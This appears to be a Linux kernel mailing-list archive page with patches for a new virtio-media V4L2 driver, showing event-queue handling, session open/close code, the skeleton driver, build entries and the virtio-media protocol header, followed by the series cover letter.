+	if (V4L2_TYPE_IS_MULTIPLANAR(dqbuf->buffer.type)) {
+		if (dqbuf->buffer.length > VIDEO_MAX_PLANES) {
+			v4l2_err(&vv->v4l2_dev,
+				 "invalid number of planes received from host for a multiplanar buffer\n");
+			return;
+		}
+		for (i = 0; i < dqbuf->buffer.length; i++) {
+			plane_m = dqbuf->planes[i].m;
+			memcpy(&dqbuf->planes[i], &dqbuf_evt->planes[i],
+			       sizeof(struct v4l2_plane));
+			dqbuf->planes[i].m = plane_m;
+		}
+	}
+
+	/* Set the DONE flag as the buffer is waiting to be dequeued. */
+	dqbuf->buffer.flags |= V4L2_BUF_FLAG_DONE;
+
+	mutex_lock(&session->queues_lock);
+	list_add_tail(&dqbuf->list, &queue->pending_dqbufs);
+	queue->queued_bufs -= 1;
+	mutex_unlock(&session->queues_lock);
+
+	wake_up(&session->dqbuf_wait);
+}
+
+/**
+ * virtio_media_process_events() - Process all pending events on a device.
+ * @vv: device whose pending events we want to process.
+ *
+ * Retrieves all pending events on @vv's event queue and dispatches them to
+ * their corresponding session.
+ *
+ * Invalid events are ignored with an error log.
+ */
+void virtio_media_process_events(struct virtio_media *vv)
+{
+	struct virtio_media_event_error *error_evt;
+	struct virtio_media_event_dqbuf *dqbuf_evt;
+	struct virtio_media_event_event *event_evt;
+	struct virtio_media_session *session;
+	struct virtio_media_event_header *evt;
+	unsigned int len;
+
+	mutex_lock(&vv->events_lock);
+
+process_bufs:
+	while ((evt = virtqueue_get_buf(vv->eventq, &len))) {
+		/* Make sure we received enough data */
+		if (len < sizeof(*evt)) {
+			v4l2_err(&vv->v4l2_dev,
+				 "event is too short: got %u, expected at least %zu\n",
+				 len, sizeof(*evt));
+			goto end_of_event;
+		}
+
+		session = virtio_media_find_session(vv, evt->session_id);
+		if (!session) {
+			v4l2_err(&vv->v4l2_dev, "cannot find session %d\n",
+				 evt->session_id);
+			goto end_of_event;
+		}
+
+		switch (evt->event) {
+		case VIRTIO_MEDIA_EVT_ERROR:
+			if (len < sizeof(*error_evt)) {
+				v4l2_err(&vv->v4l2_dev,
+					 "error event is too short: got %u, expected %zu\n",
+					 len, sizeof(*error_evt));
+				break;
+			}
+			error_evt = (struct virtio_media_event_error *)evt;
+			v4l2_err(&vv->v4l2_dev,
+				 "received error %d for session %d",
+				 error_evt->errno, error_evt->hdr.session_id);
+			virtio_media_session_close(vv, session);
+			break;
+
+		/*
+		 * Dequeued buffer: put it into the right queue so user-space
+		 * can dequeue it.
+		 */
+		case VIRTIO_MEDIA_EVT_DQBUF:
+			if (len < sizeof(*dqbuf_evt)) {
+				v4l2_err(&vv->v4l2_dev,
+					 "dqbuf event is too short: got %u, expected %zu\n",
+					 len, sizeof(*dqbuf_evt));
+				break;
+			}
+			dqbuf_evt = (struct virtio_media_event_dqbuf *)evt;
+			virtio_media_process_dqbuf_event(vv, session,
+							 dqbuf_evt);
+			break;
+
+		case VIRTIO_MEDIA_EVT_EVENT:
+			if (len < sizeof(*event_evt)) {
+				v4l2_err(&vv->v4l2_dev,
+					 "session event is too short: got %u expected %zu\n",
+					 len, sizeof(*event_evt));
+				break;
+			}
+
+			event_evt = (struct virtio_media_event_event *)evt;
+			v4l2_event_queue_fh(&session->fh, &event_evt->event);
+			break;
+
+		default:
+			v4l2_err(&vv->v4l2_dev, "unknown event type %d\n",
+				 evt->event);
+			break;
+		}
+
+end_of_event:
+		virtio_media_send_event_buffer(vv, evt);
+	}
+
+	if (!virtqueue_enable_cb(vv->eventq)) {
+		virtqueue_disable_cb(vv->eventq);
+		goto process_bufs;
+	}
+
+	mutex_unlock(&vv->events_lock);
+}
+
+static void virtio_media_event_work(struct work_struct *work)
 {
+	struct virtio_media *vv =
+		container_of(work, struct virtio_media, eventq_work);
+
+	virtio_media_process_events(vv);
+}
+
+/**
+ * virtio_media_device_open() - Create a new session from an opened file.
+ * @file: opened file for the session.
+ */
+static int virtio_media_device_open(struct file *file)
+{
+	struct video_device *video_dev = video_devdata(file);
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_cmd_open *cmd_open = &vv->cmd.open;
+	struct virtio_media_resp_open *resp_open = &vv->resp.open;
+	struct scatterlist cmd_sg = {}, resp_sg = {};
+	struct scatterlist *sgs[2] = { &cmd_sg, &resp_sg };
+	struct virtio_media_session *session;
+	u32 session_id;
+	int ret;
+
+	mutex_lock(&vv->vlock);
+
+	sg_set_buf(&cmd_sg, cmd_open, sizeof(*cmd_open));
+	sg_mark_end(&cmd_sg);
+
+	sg_set_buf(&resp_sg, resp_open, sizeof(*resp_open));
+	sg_mark_end(&resp_sg);
+
+	cmd_open->hdr.cmd = VIRTIO_MEDIA_CMD_OPEN;
+	ret = virtio_media_send_command(vv, sgs, 1, 1, sizeof(*resp_open),
+					NULL);
+	session_id = resp_open->session_id;
+	mutex_unlock(&vv->vlock);
+	if (ret < 0)
+		return ret;
+
+	session = virtio_media_session_alloc(vv, session_id, file);
+	if (IS_ERR(session))
+		return PTR_ERR(session);
+
+	file->private_data = &session->fh;
+
+	return 0;
 }
 
-static void eventq_callback(struct virtqueue *vq)
+/**
+ * virtio_media_device_close() - Close a previously opened session.
+ * @file: file of the session to close.
+ *
+ * This sends the ``VIRTIO_MEDIA_CMD_CLOSE`` command to the device, and closes
+ * the session on the driver side.
+ */
+static int virtio_media_device_close(struct file *file)
 {
+	struct video_device *video_dev = video_devdata(file);
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session =
+		fh_to_session(file->private_data);
+
+	return virtio_media_session_close(vv, session);
 }
 
 static const struct v4l2_file_operations virtio_media_fops = {
 	.owner = THIS_MODULE,
-	.open = v4l2_fh_open,
-	.release = v4l2_fh_release,
+	.open = virtio_media_device_open,
+	.release = virtio_media_device_close,
 };
 
 static int virtio_media_probe(struct virtio_device *virtio_dev)
@@ -51,12 +615,23 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 	};
 	struct virtio_media *vv;
 	struct video_device *vd;
+	int i;
 	int ret;
 
 	vv = devm_kzalloc(dev, sizeof(*vv), GFP_KERNEL);
 	if (!vv)
 		return -ENOMEM;
 
+	const size_t virtio_media_event_aligned_size =
+		ALIGN(VIRTIO_MEDIA_EVENT_MAX_SIZE, dma_get_cache_alignment());
+
+	vv->event_buffer = devm_kzalloc(dev,
+					virtio_media_event_aligned_size *
+					VIRTIO_MEDIA_NUM_EVENT_BUFS,
+					GFP_KERNEL);
+	if (!vv->event_buffer)
+		return -ENOMEM;
+
 	INIT_LIST_HEAD(&vv->sessions);
 	mutex_init(&vv->sessions_lock);
 	mutex_init(&vv->events_lock);
@@ -77,6 +652,7 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 
 	vv->commandq = vqs[0];
 	vv->eventq = vqs[1];
+	INIT_WORK(&vv->eventq_work, virtio_media_event_work);
 
 	vd = &vv->video_dev;
 	vd->v4l2_dev = &vv->v4l2_dev;
@@ -100,10 +676,21 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 	if (ret)
 		goto err_register_device;
 
+	for (i = 0; i < VIRTIO_MEDIA_NUM_EVENT_BUFS; i++) {
+		void *ebuf = vv->event_buffer +
+			     virtio_media_event_aligned_size * i;
+
+		ret = virtio_media_send_event_buffer(vv, ebuf);
+		if (ret)
+			goto err_send_event_buffer;
+	}
+
 	virtio_device_ready(virtio_dev);
 
 	return 0;
 
+err_send_event_buffer:
+	video_unregister_device(&vv->video_dev);
 err_register_device:
 	virtio_dev->config->del_vqs(virtio_dev);
 err_find_vqs:
@@ -114,11 +701,20 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 static void virtio_media_remove(struct virtio_device *virtio_dev)
 {
 	struct virtio_media *vv = virtio_dev->priv;
+	struct list_head *p, *n;
 
+	cancel_work_sync(&vv->eventq_work);
 	virtio_reset_device(virtio_dev);
 	v4l2_device_unregister(&vv->v4l2_dev);
 	virtio_dev->config->del_vqs(virtio_dev);
 	video_unregister_device(&vv->video_dev);
+
+	list_for_each_safe(p, n, &vv->sessions) {
+		struct virtio_media_session *s =
+			list_entry(p, struct virtio_media_session, list);
+
+		virtio_media_session_free(vv, s);
+	}
 }
 
 static struct virtio_device_id id_table[] = {
-- 
2.55.0.229.g6434b31f56-goog


^ permalink raw reply related

* [PATCH v5 1/5] media: virtio: Add skeleton virtio-media driver
From: Brian Daniels @ 2026-07-23 18:32 UTC (permalink / raw)
  To: Mauro Carvalho Chehab
  Cc: adelva, aesteve, changyeon, daniel.almeida, eperezma, gnurou,
	gurchetansingh, hverkuil, jasowang, linux-kernel, linux-media,
	mst, nicolas.dufresne, virtualization, xuanzhuo, Brian Daniels
In-Reply-To: <20260723183219.737296-1-briandaniels@google.com>

From: Alexandre Courbot <gnurou@gmail.com>

This patch adds a minimum viable virtio-media driver that binds to the
virtio device and registers a V4L2 device and a video device, but lacks
any actual functionality.

It adds the UAPI header defining the protocol, internal driver headers,
Kconfig and Makefile entries, and MAINTAINERS entry. Many of the structs
in the protocol add reserved bits. These are present to ensure 64-bit
alignment. They are not intended to be used as reserved expansion for
the protocol in the future, so more reserved space is not required.

Signed-off-by: Alexandre Courbot <gnurou@gmail.com>
Assisted-by: Antigravity:gemini-3.5-flash
Co-developed-by: Brian Daniels <briandaniels@google.com>
Signed-off-by: Brian Daniels <briandaniels@google.com>
---
 MAINTAINERS                                |   8 +
 drivers/media/Kconfig                      |  13 +
 drivers/media/Makefile                     |   2 +
 drivers/media/virtio/Makefile              |   7 +
 drivers/media/virtio/virtio_media.h        |  97 +++++++
 drivers/media/virtio/virtio_media_driver.c | 146 +++++++++++
 include/uapi/linux/virtio_media.h          | 287 +++++++++++++++++++++
 7 files changed, 560 insertions(+)
 create mode 100644 drivers/media/virtio/Makefile
 create mode 100644 drivers/media/virtio/virtio_media.h
 create mode 100644 drivers/media/virtio/virtio_media_driver.c
 create mode 100644 include/uapi/linux/virtio_media.h

diff --git a/MAINTAINERS b/MAINTAINERS
index efbf80806..879bff12d 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -28215,6 +28215,7 @@ F:	Documentation/devicetree/bindings/virtio/
 F:	Documentation/driver-api/virtio/
 F:	drivers/block/virtio_blk.c
 F:	drivers/crypto/virtio/
+F:	drivers/media/virtio/
 F:	drivers/vdpa/
 F:	drivers/virtio/
 F:	include/linux/vdpa.h
@@ -28327,6 +28328,13 @@ S:	Maintained
 F:	drivers/iommu/virtio-iommu.c
 F:	include/uapi/linux/virtio_iommu.h
 
+VIRTIO MEDIA DRIVER
+M:	Brian Daniels <briandaniels@google.com>
+L:	linux-media@vger.kernel.org
+S:	Maintained
+F:	drivers/media/virtio/
+F:	include/uapi/linux/virtio_media.h
+
 VIRTIO MEM DRIVER
 M:	David Hildenbrand <david@kernel.org>
 L:	virtualization@lists.linux.dev
diff --git a/drivers/media/Kconfig b/drivers/media/Kconfig
index 6abc9302c..7bc7306fa 100644
--- a/drivers/media/Kconfig
+++ b/drivers/media/Kconfig
@@ -136,6 +136,19 @@ config MEDIA_PLATFORM_SUPPORT
 
 	  Say Y when you want to be able to see such devices.
 
+config MEDIA_VIRTIO
+	tristate "Virtio-media Driver"
+	depends on VIRTIO && VIDEO_DEV && 64BIT && (X86 || (ARM && CPU_LITTLE_ENDIAN))
+	select VIDEOBUF2_CORE
+	select VIDEOBUF2_MEMOPS
+	help
+	  Enables the virtio-media driver.
+
+	  This driver is used to virtualize media devices such as cameras or
+	  decoders from a host into a guest using the V4L2 protocol.
+
+	  If unsure, say N.
+
 config MEDIA_TEST_SUPPORT
 	bool
 	prompt "Test drivers" if MEDIA_SUPPORT_FILTER
diff --git a/drivers/media/Makefile b/drivers/media/Makefile
index 20fac24e4..357e786cc 100644
--- a/drivers/media/Makefile
+++ b/drivers/media/Makefile
@@ -23,6 +23,8 @@ obj-$(CONFIG_DVB_CORE) += dvb-core/
 # There are both core and drivers at RC subtree - merge before drivers
 obj-y += rc/
 
+obj-$(CONFIG_MEDIA_VIRTIO) += virtio/
+
 obj-$(CONFIG_CEC_CORE) += cec/
 
 #
diff --git a/drivers/media/virtio/Makefile b/drivers/media/virtio/Makefile
new file mode 100644
index 000000000..09d9834da
--- /dev/null
+++ b/drivers/media/virtio/Makefile
@@ -0,0 +1,7 @@
+# SPDX-License-Identifier: GPL-2.0
+#
+# Makefile for the virtio-media device driver.
+
+virtio-media-objs := virtio_media_driver.o
+
+obj-$(CONFIG_MEDIA_VIRTIO) += virtio-media.o
diff --git a/drivers/media/virtio/virtio_media.h b/drivers/media/virtio/virtio_media.h
new file mode 100644
index 000000000..3fd240a46
--- /dev/null
+++ b/drivers/media/virtio/virtio_media.h
@@ -0,0 +1,97 @@
+/* SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+ */
+
+/*
+ * Virtio-media structures & functions declarations.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#ifndef __VIRTIO_MEDIA_H
+#define __VIRTIO_MEDIA_H
+
+#include <linux/virtio_config.h>
+#include <media/v4l2-device.h>
+
+#include "uapi/linux/virtio_media.h"
+
+#define DESC_CHAIN_MAX_LEN SG_MAX_SINGLE_ALLOC
+
+#define VIRTIO_MEDIA_DEFAULT_DRIVER_NAME "virtio-media"
+
+extern bool virtio_media_allow_userptr;
+
+/**
+ * struct virtio_media - Virtio-media device.
+ * @v4l2_dev: v4l2_device for the media device.
+ * @video_dev: video_device for the media device.
+ * @virtio_dev: virtio device for the media device.
+ * @commandq: virtio command queue.
+ * @eventq: virtio event queue.
+ * @eventq_work: work to run when events are received on @eventq.
+ * @mmap_region: region into which MMAP buffers are mapped by the host.
+ * @event_buffer: buffer for event descriptors.
+ * @sessions: list of active sessions on the device.
+ * @sessions_lock: protects @sessions and &struct virtio_media_session.list.
+ * @events_lock: prevents concurrent processing of events.
+ * @cmd: union of the device commands ``open`` and ``munmap``. The other
+ *       commands are handled by &struct virtio_media_session
+ * @resp: union of responses to device commands ``open`` and ``munmap``. The
+ *        other responses are handled by &struct virtio_media_session
+ * @vlock: serializes access to the command queue.
+ * @wq: waitqueue for host responses on the command queue.
+ */
+struct virtio_media {
+	struct v4l2_device v4l2_dev;
+	struct video_device video_dev;
+
+	struct virtio_device *virtio_dev;
+	struct virtqueue *commandq;
+	struct virtqueue *eventq;
+	struct work_struct eventq_work;
+
+	struct virtio_shm_region mmap_region;
+
+	void *event_buffer;
+
+	struct list_head sessions;
+	struct mutex sessions_lock; /* protects sessions list */
+
+	struct mutex events_lock; /* prevents concurrent event processing */
+
+	__dma_from_device_group_begin();
+	union {
+		struct virtio_media_cmd_open open;
+		struct virtio_media_cmd_munmap munmap;
+	} cmd;
+
+	union {
+		struct virtio_media_resp_open open;
+		struct virtio_media_resp_munmap munmap;
+	} resp;
+	__dma_from_device_group_end();
+
+	struct mutex vlock; /* serializes command queue access */
+	wait_queue_head_t wq;
+};
+
+static inline struct virtio_media *
+to_virtio_media(struct video_device *video_dev)
+{
+	return container_of(video_dev, struct virtio_media, video_dev);
+}
+
+/* virtio_media_driver.c */
+
+int virtio_media_send_command(struct virtio_media *vv, struct scatterlist **sgs,
+			      const size_t out_sgs, const size_t in_sgs,
+			      size_t minimum_resp_len, size_t *resp_len);
+void virtio_media_process_events(struct virtio_media *vv);
+
+/* virtio_media_ioctls.c */
+
+long virtio_media_device_ioctl(struct file *file, unsigned int cmd,
+			       unsigned long arg);
+extern const struct v4l2_ioctl_ops virtio_media_ioctl_ops;
+
+#endif // __VIRTIO_MEDIA_H
+
diff --git a/drivers/media/virtio/virtio_media_driver.c b/drivers/media/virtio/virtio_media_driver.c
new file mode 100644
index 000000000..144e2f077
--- /dev/null
+++ b/drivers/media/virtio/virtio_media_driver.c
@@ -0,0 +1,146 @@
+// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+
+
+/*
+ * Virtio-media driver.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#include <linux/device.h>
+#include <linux/dev_printk.h>
+#include <linux/mutex.h>
+#include <linux/types.h>
+#include <linux/module.h>
+#include <linux/virtio.h>
+#include <linux/virtio_config.h>
+#include <linux/virtio_ids.h>
+
+#include <media/v4l2-dev.h>
+#include <media/v4l2-device.h>
+
+#include "uapi/linux/virtio_media.h"
+#include "virtio_media.h"
+
+static void commandq_callback(struct virtqueue *vq)
+{
+}
+
+static void eventq_callback(struct virtqueue *vq)
+{
+}
+
+static const struct v4l2_file_operations virtio_media_fops = {
+	.owner = THIS_MODULE,
+	.open = v4l2_fh_open,
+	.release = v4l2_fh_release,
+};
+
+static int virtio_media_probe(struct virtio_device *virtio_dev)
+{
+	struct device *dev = &virtio_dev->dev;
+	struct virtqueue *vqs[2];
+	static struct virtqueue_info vq_info[2] = {
+		{
+			.name = "command",
+			.callback = commandq_callback,
+		},
+		{
+			.name = "event",
+			.callback = eventq_callback,
+		},
+	};
+	struct virtio_media *vv;
+	struct video_device *vd;
+	int ret;
+
+	vv = devm_kzalloc(dev, sizeof(*vv), GFP_KERNEL);
+	if (!vv)
+		return -ENOMEM;
+
+	INIT_LIST_HEAD(&vv->sessions);
+	mutex_init(&vv->sessions_lock);
+	mutex_init(&vv->events_lock);
+	mutex_init(&vv->vlock);
+
+	vv->virtio_dev = virtio_dev;
+	virtio_dev->priv = vv;
+
+	init_waitqueue_head(&vv->wq);
+
+	ret = v4l2_device_register(dev, &vv->v4l2_dev);
+	if (ret)
+		return ret;
+
+	ret = virtio_find_vqs(virtio_dev, 2, vqs, vq_info, NULL);
+	if (ret)
+		goto err_find_vqs;
+
+	vv->commandq = vqs[0];
+	vv->eventq = vqs[1];
+
+	vd = &vv->video_dev;
+	vd->v4l2_dev = &vv->v4l2_dev;
+	vd->vfl_type = VFL_TYPE_VIDEO;
+	vd->fops = &virtio_media_fops;
+	vd->release = video_device_release_empty;
+	strscpy(vd->name, "virtio-media", sizeof(vd->name));
+
+	video_set_drvdata(vd, vv);
+
+	vd->device_caps = virtio_cread32(virtio_dev, 0);
+	if (vd->device_caps & (V4L2_CAP_VIDEO_M2M | V4L2_CAP_VIDEO_M2M_MPLANE))
+		vd->vfl_dir = VFL_DIR_M2M;
+	else if (vd->device_caps &
+		 (V4L2_CAP_VIDEO_OUTPUT | V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE))
+		vd->vfl_dir = VFL_DIR_TX;
+	else
+		vd->vfl_dir = VFL_DIR_RX;
+
+	ret = video_register_device(vd, virtio_cread32(virtio_dev, 4), 0);
+	if (ret)
+		goto err_register_device;
+
+	virtio_device_ready(virtio_dev);
+
+	return 0;
+
+err_register_device:
+	virtio_dev->config->del_vqs(virtio_dev);
+err_find_vqs:
+	v4l2_device_unregister(&vv->v4l2_dev);
+	return ret;
+}
+
+static void virtio_media_remove(struct virtio_device *virtio_dev)
+{
+	struct virtio_media *vv = virtio_dev->priv;
+
+	virtio_reset_device(virtio_dev);
+	v4l2_device_unregister(&vv->v4l2_dev);
+	virtio_dev->config->del_vqs(virtio_dev);
+	video_unregister_device(&vv->video_dev);
+}
+
+static struct virtio_device_id id_table[] = {
+	{ VIRTIO_ID_MEDIA, VIRTIO_DEV_ANY_ID },
+	{ 0 },
+};
+
+static unsigned int features[] = {};
+
+static struct virtio_driver virtio_media_driver = {
+	.feature_table = features,
+	.feature_table_size = ARRAY_SIZE(features),
+	.driver.name = VIRTIO_MEDIA_DEFAULT_DRIVER_NAME,
+	.driver.owner = THIS_MODULE,
+	.id_table = id_table,
+	.probe = virtio_media_probe,
+	.remove = virtio_media_remove,
+};
+
+module_virtio_driver(virtio_media_driver);
+
+MODULE_DEVICE_TABLE(virtio, id_table);
+MODULE_DESCRIPTION("virtio media driver");
+MODULE_AUTHOR("Alexandre Courbot <gnurou@gmail.com>");
+MODULE_LICENSE("Dual BSD/GPL");
diff --git a/include/uapi/linux/virtio_media.h b/include/uapi/linux/virtio_media.h
new file mode 100644
index 000000000..371dbe811
--- /dev/null
+++ b/include/uapi/linux/virtio_media.h
@@ -0,0 +1,287 @@
+/* SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+ */
+
+/*
+ * Definitions of virtio-media protocol structures.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#ifndef __VIRTIO_MEDIA_PROTOCOL_H
+#define __VIRTIO_MEDIA_PROTOCOL_H
+
+#include <linux/videodev2.h>
+
+/*
+ * Virtio protocol definition.
+ */
+
+/**
+ * struct virtio_media_cmd_header - Header for all virtio-media commands.
+ * @cmd: one of VIRTIO_MEDIA_CMD_*.
+ * @__reserved: must be set to zero by the driver.
+ *
+ * This header starts all commands from the driver to the device on the
+ * commandq.
+ */
+struct virtio_media_cmd_header {
+	u32 cmd;
+	u32 __reserved;
+};
+
+/**
+ * struct virtio_media_resp_header - Header for all virtio-media responses.
+ * @status: 0 if the command was successful, or one of the standard Linux error
+ *          codes.
+ * @__reserved: must be set to zero by the device.
+ *
+ * This header starts all responses from the device to the driver on the
+ * commandq.
+ */
+struct virtio_media_resp_header {
+	u32 status;
+	u32 __reserved;
+};
+
+/**
+ * VIRTIO_MEDIA_CMD_OPEN - Command for creating a new session.
+ *
+ * This is the equivalent of calling ``open`` on a V4L2 device node. Upon
+ * success, a session id is returned which can be used to perform other
+ * commands on the session, notably ioctls.
+ */
+#define VIRTIO_MEDIA_CMD_OPEN 1
+
+/**
+ * struct virtio_media_cmd_open - Driver command for VIRTIO_MEDIA_CMD_OPEN.
+ * @hdr: header with cmd member set to VIRTIO_MEDIA_CMD_OPEN.
+ */
+struct virtio_media_cmd_open {
+	struct virtio_media_cmd_header hdr;
+};
+
+/**
+ * struct virtio_media_resp_open - Device response for VIRTIO_MEDIA_CMD_OPEN.
+ * @hdr: header containing the status of the command.
+ * @session_id: if &struct virtio_media_resp_header.status == 0, contains the
+ *              id of the newly created session.
+ * @__reserved: must be set to zero by the device.
+ */
+struct virtio_media_resp_open {
+	struct virtio_media_resp_header hdr;
+	u32 session_id;
+	u32 __reserved;
+};
+
+/**
+ * VIRTIO_MEDIA_CMD_CLOSE - Command for closing an active session.
+ *
+ * This is the equivalent of calling ``close`` on a previously opened V4L2
+ * session. All resources associated with this session will be freed and the
+ * session ID shall not be used again after queueing this command.
+ *
+ * This command does not require a response from the device.
+ */
+#define VIRTIO_MEDIA_CMD_CLOSE 2
+
+/**
+ * struct virtio_media_cmd_close - Driver command for VIRTIO_MEDIA_CMD_CLOSE.
+ * @hdr: header with cmd member set to VIRTIO_MEDIA_CMD_CLOSE.
+ * @session_id: id of the session to close.
+ * @__reserved: must be set to zero by the driver.
+ */
+struct virtio_media_cmd_close {
+	struct virtio_media_cmd_header hdr;
+	u32 session_id;
+	u32 __reserved;
+};
+
+/**
+ * VIRTIO_MEDIA_CMD_IOCTL - Driver command for executing an ioctl.
+ *
+ * This command asks the device to run one of the ``VIDIOC_*`` ioctls on the
+ * active session.
+ *
+ * The code of the ioctl is extracted from the VIDIOC_* definitions in
+ * ``videodev2.h``, and consists of the second argument of the ``_IO*`` macro.
+ *
+ * Each ioctl has a payload, which is defined by the third argument of the
+ * ``_IO*`` macro defining it. It can be writable by the driver (``_IOW``), the
+ * device (``_IOR``), or both (``_IOWR``).
+ *
+ * If an ioctl is writable by the driver, it must be followed by a
+ * driver-writable descriptor containing the payload.
+ *
+ * If an ioctl is writable by the device, it must be followed by a
+ * device-writable descriptor of the size of the payload that the device will
+ * write into.
+ *
+ */
+#define VIRTIO_MEDIA_CMD_IOCTL 3
+
+/**
+ * struct virtio_media_cmd_ioctl - Driver command for VIRTIO_MEDIA_CMD_IOCTL.
+ * @hdr: header with cmd member set to VIRTIO_MEDIA_CMD_IOCTL.
+ * @session_id: id of the session to run the ioctl on.
+ * @code: code of the ioctl to run.
+ */
+struct virtio_media_cmd_ioctl {
+	struct virtio_media_cmd_header hdr;
+	u32 session_id;
+	u32 code;
+};
+
+/**
+ * struct virtio_media_resp_ioctl - Device response for VIRTIO_MEDIA_CMD_IOCTL.
+ * @hdr: header containing the status of the ioctl.
+ */
+struct virtio_media_resp_ioctl {
+	struct virtio_media_resp_header hdr;
+};
+
+/**
+ * struct virtio_media_sg_entry - Description of part of a scattered guest
+ *                                memory.
+ * @start: start guest address of the memory segment.
+ * @len: length of this memory segment.
+ * @__reserved: must be set to zero by the driver.
+ */
+struct virtio_media_sg_entry {
+	u64 start;
+	u32 len;
+	u32 __reserved;
+};
+
+/**
+ * VIRTIO_MEDIA_MMAP_FLAG_RW - Bit position of the VIRTIO_MEDIA_MMAP_FLAG_RW
+ *                             flag.
+ */
+#define VIRTIO_MEDIA_MMAP_FLAG_RW 0
+
+/**
+ * VIRTIO_MEDIA_CMD_MMAP - Command for mapping a MMAP buffer into the driver's
+ *                         address space.
+ */
+#define VIRTIO_MEDIA_CMD_MMAP 4
+
+/**
+ * struct virtio_media_cmd_mmap - Driver command for VIRTIO_MEDIA_CMD_MMAP.
+ * @hdr: header with cmd member set to VIRTIO_MEDIA_CMD_MMAP.
+ * @session_id: ID of the session we are mapping for.
+ * @flags: combination of VIRTIO_MEDIA_MMAP_FLAG_*.
+ * @offset: mem_offset field of the plane to map, as returned by
+ *          VIDIOC_QUERYBUF.
+ */
+struct virtio_media_cmd_mmap {
+	struct virtio_media_cmd_header hdr;
+	u32 session_id;
+	u32 flags;
+	u32 offset;
+};
+
+/**
+ * struct virtio_media_resp_mmap - Device response for VIRTIO_MEDIA_CMD_MMAP.
+ * @hdr: header containing the status of the command.
+ * @driver_addr: offset into SHM region 0 of the start of the mapping.
+ * @len: length of the mapping.
+ */
+struct virtio_media_resp_mmap {
+	struct virtio_media_resp_header hdr;
+	u64 driver_addr;
+	u64 len;
+};
+
+/**
+ * VIRTIO_MEDIA_CMD_MUNMAP - Unmap a MMAP buffer previously mapped using
+ *                           VIRTIO_MEDIA_CMD_MMAP.
+ */
+#define VIRTIO_MEDIA_CMD_MUNMAP 5
+
+/**
+ * struct virtio_media_cmd_munmap - Driver command for VIRTIO_MEDIA_CMD_MUNMAP.
+ * @hdr: header with cmd member set to VIRTIO_MEDIA_CMD_MUNMAP.
+ * @driver_addr: offset into SHM region 0 at which the buffer has been
+ *               previously mapped.
+ */
+struct virtio_media_cmd_munmap {
+	struct virtio_media_cmd_header hdr;
+	u64 driver_addr;
+};
+
+/**
+ * struct virtio_media_resp_munmap - Device response for
+ *                                   VIRTIO_MEDIA_CMD_MUNMAP.
+ * @hdr: header containing the status of the command.
+ */
+struct virtio_media_resp_munmap {
+	struct virtio_media_resp_header hdr;
+};
+
+/* The values for these events are set by the virtio-media specification. */
+#define VIRTIO_MEDIA_EVT_ERROR 0
+#define VIRTIO_MEDIA_EVT_DQBUF 1
+#define VIRTIO_MEDIA_EVT_EVENT 2
+
+/**
+ * struct virtio_media_event_header - Header for events on the eventq.
+ * @event: one of VIRTIO_MEDIA_EVT_*
+ * @session_id: ID of the session the event applies to.
+ */
+struct virtio_media_event_header {
+	u32 event;
+	u32 session_id;
+};
+
+/**
+ * struct virtio_media_event_error - Unrecoverable device-side error.
+ * @hdr: header for the event.
+ * @errno: error code describing the kind of error that occurred.
+ * @__reserved: must be set to zero by the device.
+ *
+ * Upon receiving this event, the session mentioned in the header is considered
+ * corrupted and closed.
+ */
+struct virtio_media_event_error {
+	struct virtio_media_event_header hdr;
+	u32 errno;
+	u32 __reserved;
+};
+
+/* This is set to VIDEO_MAX_PLANES defined in include/uapi/linux/videodev2.h.
+ * It is renamed here to match the constant that is defined in the virtio-media
+ * specification.
+ */
+#define VIRTIO_MEDIA_MAX_PLANES VIDEO_MAX_PLANES
+
+/**
+ * struct virtio_media_event_dqbuf - Dequeued buffer event.
+ * @hdr: header for the event.
+ * @buffer: &struct v4l2_buffer describing the buffer that has been dequeued.
+ * @planes: plane information for the dequeued buffer.
+ *
+ * This event is used to signal that a buffer is not being used anymore by the
+ * device and is returned to the driver.
+ */
+struct virtio_media_event_dqbuf {
+	struct virtio_media_event_header hdr;
+	struct v4l2_buffer buffer;
+	struct v4l2_plane planes[VIRTIO_MEDIA_MAX_PLANES];
+};
+
+/**
+ * struct virtio_media_event_event - V4L2 event.
+ * @hdr: header for the event.
+ * @event: description of the event that occurred.
+ *
+ * This event signals that a V4L2 event has been emitted for a session.
+ */
+struct virtio_media_event_event {
+	struct virtio_media_event_header hdr;
+	struct v4l2_event event;
+};
+
+/* Maximum size of an event. We will queue descriptors of this size on the
+ * eventq.
+ */
+#define VIRTIO_MEDIA_EVENT_MAX_SIZE sizeof(struct virtio_media_event_dqbuf)
+
+#endif // __VIRTIO_MEDIA_PROTOCOL_H
-- 
2.55.0.229.g6434b31f56-goog


^ permalink raw reply related

* [PATCH v5 0/5] media: add virtio-media driver
From: Brian Daniels @ 2026-07-23 18:32 UTC (permalink / raw)
  To: Mauro Carvalho Chehab
  Cc: adelva, aesteve, changyeon, daniel.almeida, eperezma, gnurou,
	gurchetansingh, hverkuil, jasowang, linux-kernel, linux-media,
	mst, nicolas.dufresne, virtualization, xuanzhuo, Brian Daniels

From: Alexandre Courbot <gnurou@gmail.com>

Add the first version of the virtio-media driver.

This driver acts roughly as a V4L2 relay between user-space and the
virtio virtual device on the host, so it is relatively simple, yet
unconventional. It doesn't use VB2 or other frameworks typically used in
a V4L2 driver, and most of its complexity resides in correctly and
efficiently building the virtio descriptor chain to pass to the host,
avoiding copies whenever possible. This is done by
scatterlist_builder.[ch].

This version supports MMAP buffers, while USERPTR buffers can also be
enabled through a driver option. DMABUF support is still pending.

NOTE: This depends on the VIRTIO ID being added in this patch:
https://lore.kernel.org/all/20260310-virtio-media-id-v1-1-be211bcf682b@redhat.com

Signed-off-by: Alexandre Courbot <gnurou@gmail.com>
Co-developed-by: Brian Daniels <briandaniels@google.com>
